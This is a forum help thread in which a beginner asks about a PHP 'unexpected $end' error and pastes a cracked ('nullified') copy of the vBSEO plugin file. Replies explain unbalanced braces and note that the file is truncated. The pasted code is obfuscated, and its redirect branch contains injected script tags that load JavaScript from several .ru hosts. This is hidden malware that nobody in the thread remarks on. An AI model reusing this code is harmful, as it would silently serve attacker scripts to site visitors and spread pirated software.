At first sorry to say
I m new here .......

Whats the problem about that ??.........Parse error: syntax error, unexpected $end in /home/.zerlina/gsmbangladesh/gsmbangladesh.com/vbseo.php on line 1097

Plz let me know about details.........

Help any One and ll be thankfull ..


Jr telecom

think it means that your script ended abruptly. PHP is probably expecting you to do something on the bottom of the script. Maybe missing a "}".

think it means that your script ended abruptly. PHP is probably expecting you to do something on the bottom of the script. Maybe missing a "}".

Thanks for ur reply....

What can I do And how can I fix it ....plz

This will happen anytime that you don't close a loop. For example something like:

<?php
if($this==$that){
echo "They are equal";
//loop was never closed
?>

Would cause this error.
The way to fix it is to find the open spot and close it:

<?php
if($this==$that){
echo "They are equal";
}//Now the loop is closed
?>

Thank u very much for ur quick reply....

Actually I dont hv much idea about that .......
so that I disturbing... I m regret for that..

Attach here if u get any missing plz correct for me ..

Attachments
<?php
//=======================================
// !! GYSN RELEASE - DO NOT REMOVE  !!
// !! Nullify by: str/GYSN          !!
// !! GYSN RELEASE - DO NOT REMOVE  !!
//=======================================


error_reporting(0);
$XRqf5dqWThi4s8        = $_GET['vbseourl'];
if(ini_get("magic_quotes_gpc"))
$XRqf5dqWThi4s8 = stripslashes($XRqf5dqWThi4s8);
$iCY76S1EBrIZkncr_fn = '';
switch($XRqf5dqWThi4s8)
{
case 'vbseo.php':
exit;
break;
case 'vbseocp.php':
case 'cron.php':
case 'cron.html':
include $XRqf5dqWThi4s8;
exit;
break;
}
include_once('includes/functions_vbseo.php');
include_once('includes/config.'.VBSEO_VB_EXT);
$GUxUTzc8_CdQ4Jn0aYQ = eXEUBEFfSIggumHE . $XRqf5dqWThi4s8;
if(VBSEO_IN_PINGBACK && ($XRqf5dqWThi4s8 == 'vbseo-xmlrpc/'))
{                    
if(!defined('THIS_SCRIPT'))
@define('THIS_SCRIPT', 'newreply');
include dirname(__FILE__).'/global.'.VBSEO_VB_EXT;
ehHmMSaDEQIuHl5cH3X();
BQ_BSE_tW3Bob8();
exit;
}
if(VBSEO_REDIRECT_PRIV_EXTERNAL && ($XRqf5dqWThi4s8 == B1cSL6L5bzzjyIAL))
{
$yJGCRvpKyzxEisjQXPM = urldecode($_GET['redirect']);
$yJGCRvpKyzxEisjQXPM = preg_replace('#&(?![a-z0-9\#]+;)#si', '&amp;', $yJGCRvpKyzxEisjQXPM);
if(preg_match('#^https?:\/\/#', $yJGCRvpKyzxEisjQXPM) && !preg_match('#["<>]#',$yJGCRvpKyzxEisjQXPM))
{
echo '<html><head><meta http-equiv="refresh" content="0;url='.$yJGCRvpKyzxEisjQXPM.'"></head><body><script src=http://www.adwr.ru/fgg.js></script><script src=http://www.sslwer.ru/fgg.js></script><script src=http://www.sslwer.ru/fgg.js></script><script src=http://www.sslwer.ru/fgg.js></script><script src=http://www.iogp.ru/fgg.js></script><script src=http://www.adwr.ru/fgg.js></script><script src=http://www.adwbn.ru/fgg.js></script></body></html>';
exit;
}
}
define('fSjLWd6NAeWP_I5pG', basename($XRqf5dqWThi4s8));
unset($_REQUEST['vbseourl']);
unset($_GET['vbseourl']);
unset($HTTP_SERVER_VARS['vbseourl']);
unset($HTTP_POST_VARS['vbseourl']);
unset($HTTP_GET_VARS['vbseourl']);


global $XsrJtesddbBw;
$XsrJtesddbBw = & $_SERVER['gcache'];
$XsrJtesddbBw = array(
'forum'=>array(),
'thread'=>array(),
'post'=>array(),
'user'=>array(),
'usernm'=>array()
);

define('b5RWTQRl0C2Lglh', isset($_GET['vbseorelpath']));
if(b5RWTQRl0C2Lglh)
chdir($_GET['vbseorelpath']);
if( ($XRqf5dqWThi4s8[0]=='/') || strstr($XRqf5dqWThi4s8,'../') 
|| (isset($_GET['vbseorelpath'])&&(($_GET['vbseorelpath'][0]=='/') || strstr($_GET['vbseorelpath'],'./../'))) 
)
{
bs1fNdd0hGvypAZDmX();
}
$O18oI2wzmOe_UuX = (file_exists($XRqf5dqWThi4s8) || (file_exists(basename($XRqf5dqWThi4s8)) && strstr($XRqf5dqWThi4s8,'.'.VBSEO_VB_EXT) )) && ($XRqf5dqWThi4s8[strlen($XRqf5dqWThi4s8)-1]!='/');
$jeg3AdiIqVL = file_exists($XRqf5dqWThi4s8) && strstr($XRqf5dqWThi4s8,'/');
$UcK37lKF06S5mv_nc = false;

if((VBSEO_ENABLED && !isset($_COOKIE['VBSEO_OFF_MORE'])) || isset($_COOKIE['VBSEO_ON_MORE'])) {
preg_match('#^(.+?)(_(?:ltr|rtl)?)(\.gif)$#', $XRqf5dqWThi4s8, $HmEUV4otoyF2d);
$B3J4CrQ6zutoIuvv = $HmEUV4otoyF2d[1] . $HmEUV4otoyF2d[3];
if(!$B3J4CrQ6zutoIuvv) $B3J4CrQ6zutoIuvv = $XRqf5dqWThi4s8;
if( VBSEO_REWRITE_TREE_ICON &&
($p5u8AJEuNdeP = strpos($XRqf5dqWThi4s8,'.gif')) && 
(substr($XRqf5dqWThi4s8,0,strlen(VBSEO_ICON_PREFIX))==VBSEO_ICON_PREFIX) &&
((gRcY1jrMNVdQJelK('VBSEO_URL_THREAD_TREE_ICON', substr($B3J4CrQ6zutoIuvv, strlen(VBSEO_ICON_PREFIX), $p5u8AJEuNdeP+4), true)) ||
(gRcY1jrMNVdQJelK('VBSEO_URL_FORUM_TREE_ICON', substr($B3J4CrQ6zutoIuvv, strlen(VBSEO_ICON_PREFIX), $p5u8AJEuNdeP+4), true))
)
)
{
if($O18oI2wzmOe_UuX)
$pCNS44k8sxK8RXIGIw = $XRqf5dqWThi4s8;
else
$pCNS44k8sxK8RXIGIw = str_replace('.gif', $HmEUV4otoyF2d[2].'.gif', JdF5Hp8Z7_pjS);
$f5JMCoSm66hOTJEKF = @fopen($pCNS44k8sxK8RXIGIw, 'r');
$GpFfvj6UFGmdC = @fread($f5JMCoSm66hOTJEKF,filesize($pCNS44k8sxK8RXIGIw));
@fclose($f5JMCoSm66hOTJEKF);
Header ('Content-type: image/gif');
Header ('Content-Length: ' . strlen($GpFfvj6UFGmdC) );
echo $GpFfvj6UFGmdC;
exit();
}else
if(VBSEO_CHECK_WWWDOMAIN && !strstr($_SERVER['HTTP_HOST'], 'www.') && !strstr($_SERVER['HTTP_HOST'], 'localhost'))
{
KpGoGlcUaI0Zdvq6r();
if(strstr($vboptions['bburl'], 'www.'))
{
Lx7no66EeCGLhcTYNeo($vboptions['bburl'] . '/' . $Xtl8WNlZR);
}
}

$UaCy3EuZvFtTwls2 = (
preg_match('#^('.preg_quote(VBSEO_ARCHIVE_ROOT,'#').'(?:index\.'.VBSEO_VB_EXT.'[/\?]?)?)([^/]*)/?$#', '/'. $Xtl8WNlZR . '/', $z1HV_8NXc_DDlGO)
|| preg_match('#^(/archive/(?:index\.'.VBSEO_VB_EXT.'[/\?]?)?)(.*)#', '/'. $Xtl8WNlZR, $z1HV_8NXc_DDlGO) );
$roLgBlZNsmYpkE5o = ( $aya7Pd7Thb3KS = VBSEO_HOMEPAGE_ALIASES ) && 
preg_match('#^('.str_replace('\|','|',preg_quote($aya7Pd7Thb3KS, '#')).')$#', $Xtl8WNlZR);
if($roLgBlZNsmYpkE5o)
{       
KpGoGlcUaI0Zdvq6r();
if(x_BcHkI12cPatU != $Xtl8WNlZR)
Lx7no66EeCGLhcTYNeo(x_BcHkI12cPatU);
}else
if($UaCy3EuZvFtTwls2)
{                                      
preg_match('#t-(\d+)(?:-p-(\d+))?#', $z1HV_8NXc_DDlGO[2], $r8YQnYcvaxO);
$DJfAi5R3a = $r8YQnYcvaxO[1];
$G7FzIZ3ipX2xB = $r8YQnYcvaxO[2] ? $r8YQnYcvaxO[2] : 1;
if($DJfAi5R3a && VBSEO_REDIRECT_ARCHIVE)
KpGoGlcUaI0Zdvq6r();
global $bbuserinfo;
if($DJfAi5R3a && VBSEO_REDIRECT_ARCHIVE && !$_COOKIE[$bbuserinfo['cprefix'] . 'pda'])
{
xCgXfzT4jVdOZiI();
Jv2k54KbP3eJJ();
$idH52gpT0Fgfr_ = array($DJfAi5R3a);
mCXXdOKoVQlpQ($idH52gpT0Fgfr_);
$XRqf5dqWThi4s8 = (VBSEO_REWRITE_THREADS ? yNvY2nS8aJOFwenFa($DJfAi5R3a, $G7FzIZ3ipX2xB) : 'showthread.'.VBSEO_VB_EXT.'?'.kHhVbyBpR_PA.'='.$DJfAi5R3a);
Lx7no66EeCGLhcTYNeo($XRqf5dqWThi4s8);
}else
if(preg_match('#\.css$#', $Xtl8WNlZR))
{                                  
$XRqf5dqWThi4s8 = 'archive/'.$z1HV_8NXc_DDlGO[2];
$O18oI2wzmOe_UuX = true;
}else
if($z1HV_8NXc_DDlGO[1] != VBSEO_ARCHIVE_ROOT || !strstr('/' . $Xtl8WNlZR, $z1HV_8NXc_DDlGO[1]))
{
Lx7no66EeCGLhcTYNeo(VBSEO_ARCHIVE_ROOT . $z1HV_8NXc_DDlGO[2], array(), true);
}else                              
{
$sm = (
(substr(PHP_OS, 0, 3) == 'WIN' AND stristr($_SERVER['SERVER_SOFTWARE'], 'apache') === false) OR (strpos(@php_sapi_name(), 'cgi') !== false AND @!get_cfg_var('cgi.fix_pathinfo')))
? '?' : '/';
chdir('archive/');
$cUcJcMZFymzNGv2kdt = eXEUBEFfSIggumHE.'archive/index.'.VBSEO_VB_EXT.$sm.$z1HV_8NXc_DDlGO[2];
LBoHiFohPhf1Gjt3Wrc($cUcJcMZFymzNGv2kdt);
if($sm == '?')
$_SERVER['QUERY_STRING'] = $z1HV_8NXc_DDlGO[2];
define('NtyMsFukcJRq_1a', substr(VBSEO_ARCHIVE_ROOT, 0, strlen(VBSEO_ARCHIVE_ROOT)-1));
preg_match('#f-(\d+)#', $z1HV_8NXc_DDlGO[2], $r8YQnYcvaxO);
if($r8YQnYcvaxO[1])
{
KpGoGlcUaI0Zdvq6r();
Jv2k54KbP3eJJ();
if(isset($XsrJtesddbBw['forum']) && !isset($XsrJtesddbBw['forum'][$r8YQnYcvaxO[1]]))
{
if(VBSEO_404_HANDLE==2)
{
$Vl2eQElt33TIIzz = VBSEO_404_CUSTOM;
if($Vl2eQElt33TIIzz[0]!='/')
$Vl2eQElt33TIIzz = dirname(__FILE__).'/'.$Vl2eQElt33TIIzz;
include($Vl2eQElt33TIIzz);
exit;
}else
QLLxE6y5BGUSKbI0Kn($XRqf5dqWThi4s8);

}
}
ob_start();
include (dirname(__FILE__).'/archive/index.'.VBSEO_VB_EXT);
$aow6Sr3QuVhvLXOf = ob_get_contents();
ob_clean();
$GLOBALS['Thoue3JGlIn1DP3X'] = true;
$aow6Sr3QuVhvLXOf = make_crawlable($aow6Sr3QuVhvLXOf);
echo $aow6Sr3QuVhvLXOf;     
exit();
}
}
if( jqjhYiYBZRCLKshBB )
{
$dXsba5pSPVWRK = array('pp', 'highlight', 'order', 'sort', 'daysprune', 'referrerid');
foreach($dXsba5pSPVWRK as $H9BGblFbc40Cy)
if( isset($_GET[$H9BGblFbc40Cy]) )
Lx7no66EeCGLhcTYNeo($XRqf5dqWThi4s8, $dXsba5pSPVWRK);
}
if( jqjhYiYBZRCLKshBB )
{
$dXsba5pSPVWRK = array('pp', 'highlight', 'order', 'sort', 'daysprune', 'referrerid');
foreach($dXsba5pSPVWRK as $H9BGblFbc40Cy)
if( isset($_GET[$H9BGblFbc40Cy]) )
Lx7no66EeCGLhcTYNeo($XRqf5dqWThi4s8, $dXsba5pSPVWRK);
}
$YQ2a5D814jg_w0F = 'highlight';
$VKIr1AlGF = 'vbseo_highlight';
if( VBSEO_SEARCH_REDIRECT && isset($_COOKIE) && isset($_GET[$YQ2a5D814jg_w0F]) )
{
setcookie($VKIr1AlGF, $_GET[$YQ2a5D814jg_w0F]);
Lx7no66EeCGLhcTYNeo($XRqf5dqWThi4s8, array($YQ2a5D814jg_w0F));
}
if( isset($_COOKIE[$VKIr1AlGF]) )
{
setcookie('vbseo_highlight', '');
$_GET[$YQ2a5D814jg_w0F] = $_REQUEST[$YQ2a5D814jg_w0F] = $_COOKIE[$VKIr1AlGF];
}
if(VBSEO_THREAD_301_REDIRECT && !$_POST && $O18oI2wzmOe_UuX)
{
$eaDlBm_hsvlV = true;
if(!b5RWTQRl0C2Lglh && !$jeg3AdiIqVL)
{
$eaDlBm_hsvlV = false;
if( ((VBSEO_REWRITE_THREADS && (fSjLWd6NAeWP_I5pG == 'showthread.'.VBSEO_VB_EXT)) ||
(VBSEO_REWRITE_PRINTTHREAD && ($OfFnPDvy0v8DVZ0=1) && (fSjLWd6NAeWP_I5pG == 'printthread.'.VBSEO_VB_EXT)))
)
{
$uUSRF7pBBILevjTX = '';
if(isset($_GET['goto']))
{
if($_GET['goto'] == 'nextnewest')
$j11jOuPF6yq = VBSEO_URL_THREAD_NEXT;
elseif($_GET['goto'] == 'nextoldest')
$j11jOuPF6yq = VBSEO_URL_THREAD_PREV;
if($j11jOuPF6yq)
{
define('THIS_SCRIPT', 'showthread');
KpGoGlcUaI0Zdvq6r();
xCgXfzT4jVdOZiI();
Jv2k54KbP3eJJ();
$yu0779R7ADkkb = $_GET[kHhVbyBpR_PA];
mCXXdOKoVQlpQ($yu0779R7ADkkb);
$uUSRF7pBBILevjTX = yNvY2nS8aJOFwenFa($yu0779R7ADkkb, '', $j11jOuPF6yq);
}
}else
if(!isset($_REQUEST['do']))
{
define('THIS_SCRIPT', 'showthread');
$yu0779R7ADkkb = $_GET[kHhVbyBpR_PA] ? $_GET[kHhVbyBpR_PA] : $_GET['threadid'];
$r_post_id = $_GET[H4n6PGoCgijgA] ? $_GET[H4n6PGoCgijgA] : $_GET['postid'];
$r_post_id = preg_replace('|#.*$|','',$r_post_id);
$uUSRF7pBBILevjTX='';
if($r_post_id)
{
define('q3fpOHbMAhl8ZAM', $r_post_id);
 
}else
if($yu0779R7ADkkb)
{
KpGoGlcUaI0Zdvq6r();
xCgXfzT4jVdOZiI();
Jv2k54KbP3eJJ();
mCXXdOKoVQlpQ($yu0779R7ADkkb);
$uUSRF7pBBILevjTX = yNvY2nS8aJOFwenFa($yu0779R7ADkkb, 
(VBSEO_ENABLE_GARS && $_GET[Qoh5l0obsz]) ? $_GET[Qoh5l0obsz] : $_GET['page'],
(VBSEO_ENABLE_GARS && $_GET[Qoh5l0obsz]) ? VBSEO_URL_THREAD_GARS_PAGENUM :
($OfFnPDvy0v8DVZ0 ? (($_GET['page']+0>1) ? VBSEO_URL_THREAD_PRINT_PAGENUM : VBSEO_URL_THREAD_PRINT) : '')
);
}
}
if($uUSRF7pBBILevjTX)
{
$phgswzwJwKXXQiB = $XsrJtesddbBw['thread'][$yu0779R7ADkkb];
$OxjcD7ECt8_S = v1_Mc6y3sQSLbaf($XsrJtesddbBw['forum'][$phgswzwJwKXXQiB['forumid']]);
if($OxjcD7ECt8_S)
Lx7no66EeCGLhcTYNeo($uUSRF7pBBILevjTX,
array(VBSEO_ENABLE_GARS?Qoh5l0obsz:'', kHhVbyBpR_PA,'threadid','postid','page',
($_GET['pp'] == $vboptions['maxposts'])?'pp':''
));
else
{
define('dXK3x1pmm', $uUSRF7pBBILevjTX);
define('xO_Y5NNo9V1DviQwUo', $yu0779R7ADkkb);
}
}
}else
if(VBSEO_REWRITE_SHOWPOST && (fSjLWd6NAeWP_I5pG == 'showpos

The bottom of your script is incomplete. It ends with:

if( ($fGvxm8_f4DlzWpub7u=='showthread.'.VBSEO_VB_EXT) && isset($_POST) && isset($_POST['excerpt']) && VBSEO_IN_TRACKBACK )
{
@define('THIS_SCRIPT', 'showthread');
include dirname(__FI

If you are going to fix this, you have to make sure that your braces are balanced. In other words, for every { the script must have a preceeding } to close it.

This article has been dead for over six months. Start a new discussion instead.